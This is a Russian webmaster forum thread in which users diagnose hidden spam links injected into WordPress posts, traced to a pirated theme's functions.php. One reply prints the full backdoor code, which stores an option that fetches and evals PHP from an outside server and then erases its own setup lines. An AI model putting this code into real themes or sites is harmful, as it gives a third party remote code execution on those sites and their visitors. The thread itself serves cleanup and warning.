Помогите с wordpress. Сложный "вирус". Не могу удалить.

123
RM
На сайте с 21.06.2011
Offline
77
#11

Все достаточно просто... Эту ссылку скорее всего в файлы движка или шаблона засунули, чтобы он каждую последнюю точку в статье заменял на ссылку, а сам код зашифровал в base64 чтобы поиск по файлам ничего не дал... ищите в шаблоне и в движках фразу eval и base64_decode.

profAleks
На сайте с 17.04.2010
Offline
35
#12
goliafz:
Приветствую.

Пациент: http://bustarhy.ru/biografiya/ (сразу пример страницы)

Проблема: при просмотре кода я вижу такое

<p align="center">В его личной жизни была трагедия, когда первый

ребенок не прожил более нескольких часов из-за преждевременных родов
его жены<a href="http://vipwareznik.ru" style="text-decoration:none;border:none">.</a>


В чем суть и что я делал:

- удалял эту точку в статье, не помогло. Вместо других точек появляется эта ссылка
- заливал официальную версию дистрибутива вордпресс, отключал все плагины, смотрел эту статью в mysql (там чистая статья) - не помогло
- вместо этих точек на разных страницах появляются странные ссылки, откуда не могу понять.
- менял доступ к фтп, mysql, почте - не помогло
- вначале думал, что это из-за плагина isape, но сейчас без плагина работает sape

Помогите, пожалуйста, решить проблему :)

PHPMyAdmin какой версии ?

VPS или шаред ?

Справочник Total Hardware 1999 (http://radiodelta.ru)
goliafz
На сайте с 16.07.2008
Offline
94
#13
RoMaN444Ik:
Все достаточно просто... Эту ссылку скорее всего в файлы движка или шаблона засунули, чтобы он каждую последнюю точку в статье заменял на ссылку, а сам код зашифровал в base64 чтобы поиск по файлам ничего не дал... ищите в шаблоне и в движках фразу eval и base64_decode.

Ни то, ни другое. Уже проверил.

goliafz добавил 07.09.2011 в 01:57

profAleks:
PHPMyAdmin какой версии ?
VPS или шаред ?

ВПС и шаред. На разных хостингах такая фигня.

hostme
На сайте с 18.04.2009
Offline
36
#14

У меня месяц назад вирь в деактивированном(!) плагине был. Скачал всю директорию и в Total Commander поискал URL поиском по содержимому всех файлов.

goliafz
На сайте с 16.07.2008
Offline
94
#15

Ура. Нашел причину. Была в шаблоне, но очень сильно запрятана.

E2
На сайте с 15.12.2006
Offline
128
#16

Значит все сайты объединял один шаблон? А то такая интрига получилась хорошая (

Ап! И тигры у ног моих сели.
goliafz
На сайте с 16.07.2008
Offline
94
#17
error2k:
Значит все сайты объединял один шаблон? А то такая интрига получилась хорошая (

Шаблоны были с wordpresse.ru (ни один шаблон не качать!)

Я вначале грешил на плагин isape. Там были зашифрованы участки кода. Причем после отключения плагина пропадали скрытые ссылки. Но на самом деле они пропадали из точки в сапе ссылках и вставлялись в текст.

Я все перерыл. Чистил шаблоны. Сразу же нашел, что в шаблонах были 2 файла:

clinks.php

slinks.php

Если увидите такие файлы. Сразу же переименовываем и чистим от них шаблон.

После такой чистки я думал, что больше нет в шаблонах лишних ссылок (футер обязательно надо чистить, обычно ссылки в открытую там выкладывают).

Спалил ссылки по сапе. Вылезли эрроры. Оказалось, что встраиваясь в плагин isape, а точнее заменяя точку в сапоссылках на свою получалось так, что сапоссылка становилась просто текстом, а вместо конечной точки уже скрытая ссылка.

Шерстил все, что мог. Шаблон просматривал несколько раз. Все чисто. Никак не связывается с другим сайтом.

Сразу же подумал, что эта проблема в самом дистрибутиве вордпресса. Скачал последнюю версию с официального сайта (до этого дистрибутив качал с какого-то сайта с локализацией). Удалил папки wp-admin и wp-includes. Результат нулевой.

Дальше я логически подумал и пришел к выводу, что ломанули сервер. Но потом я понял, что это глупость. Т.к. мои сайты расположены на 6 разных серверах. Взломать все 6 серверов и залить зловред - это бред.

Потом я решил, что возможно сам дистрибутив был с самого начала левым. Но не сами файлы, а mysql, который ставится. Начал шерстить базу. Но там все чисто.

Искал в инете решение проблемы, но все безрезультатно. Просто я искал не то, что мне нужно было. Вызвал подозрение плагин askimet. Я заметил, что он связывается с сервером. Далее я решил перейти по ссылке с доменом. Но как оказалось, там все запрещено для просмотра. Тут то я и решил, что это связано скорее всего с ним. Но я этот плагин никогда не включал.

Удалил плагин. Проблема не исчезла. Я снова давай шерстить шаблоны. И подумал логически, что скорее всего какой-то левый код будет расположен в function.php. И оказался прав. Только этот код сложно заметить. Да и непонятно, что он делает. Но по 1 слову в нем я сразу же догадался, что его тут не должно быть.

add_filter('the_content', '_bloginfo', 10001);

function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}

Убрал этот код и ссылок сразу же не стало. Причина была именно в этом куске кода!

Единственное для меня остается загадкой каким образом этот участок кода берет откуда то ссылки с других сайтов?

Да, я очень долго боролся с этой фигней. Больше 2-3 месяцев. Не подумал бы, что этот участок кода может вставлять ссылки. Ведь нет никаких шифров, нет никаких ссылок, ведущих на другие сайты. Нет ничего такого о чем можно подумать, что что-то тут не так.

Вывод: шаблоны с того сайта не качать. Там идет тройная атака ссылками: через футер, через дополнительные файлы и через вышеуказанный код.

Будьте внимательны!

Diversant
На сайте с 29.03.2006
Offline
322
#18

Красиво запрятали заразы :)

W
На сайте с 05.09.2011
Offline
7
#19
goliafz:
Только этот код сложно заметить. Да и непонятно, что он делает. Но по 1 слову в нем я сразу же догадался, что его тут не должно быть.

Что же вы весь код то не привели :)

<?php
//beginXX
add_action('after_setup_theme', '_theme_setup');
function _theme_setup(){
$value = 'return eval(file_get_contents(\'http://wpru.ru/aksimet.php?id=\'.$post->ID.\'&m=31&n\'));';
add_option('blogoption', $value, '', 'yes');
//selfterminate
$functions = file_get_contents(TEMPLATEPATH.'/functions.php');
$p1 = substr($functions, 0, strpos($functions, '//beginXX'));
$p2 = end(explode('//endXX', $functions));
file_put_contents(TEMPLATEPATH.'/functions.php', $p1.$p2);
}
//endXX
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
if ( function_exists('register_sidebar') )
register_sidebar();
?>
Diversant:
Красиво запрятали заразы

да и не прятали почти......

А вот идея неплохая :)

goliafz
На сайте с 16.07.2008
Offline
94
#20

Код везде разный. Но с add_filter есть у всех.

Возможно это послужило причиной вылета 11 сайтов под АГС. Я все никак не мог понять по какой причине сайты уходят под АГС. Теперь уже понятно. Спрятанная ссылка для яндекса - это как спам.

Чуть позже выложу отчет о масштабах такого развода для 75 сайтов (часть из них не с шаблонами от wordpresse.ru).

Самому интересно насколько сильно проспамили мои сайты. :)

123

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий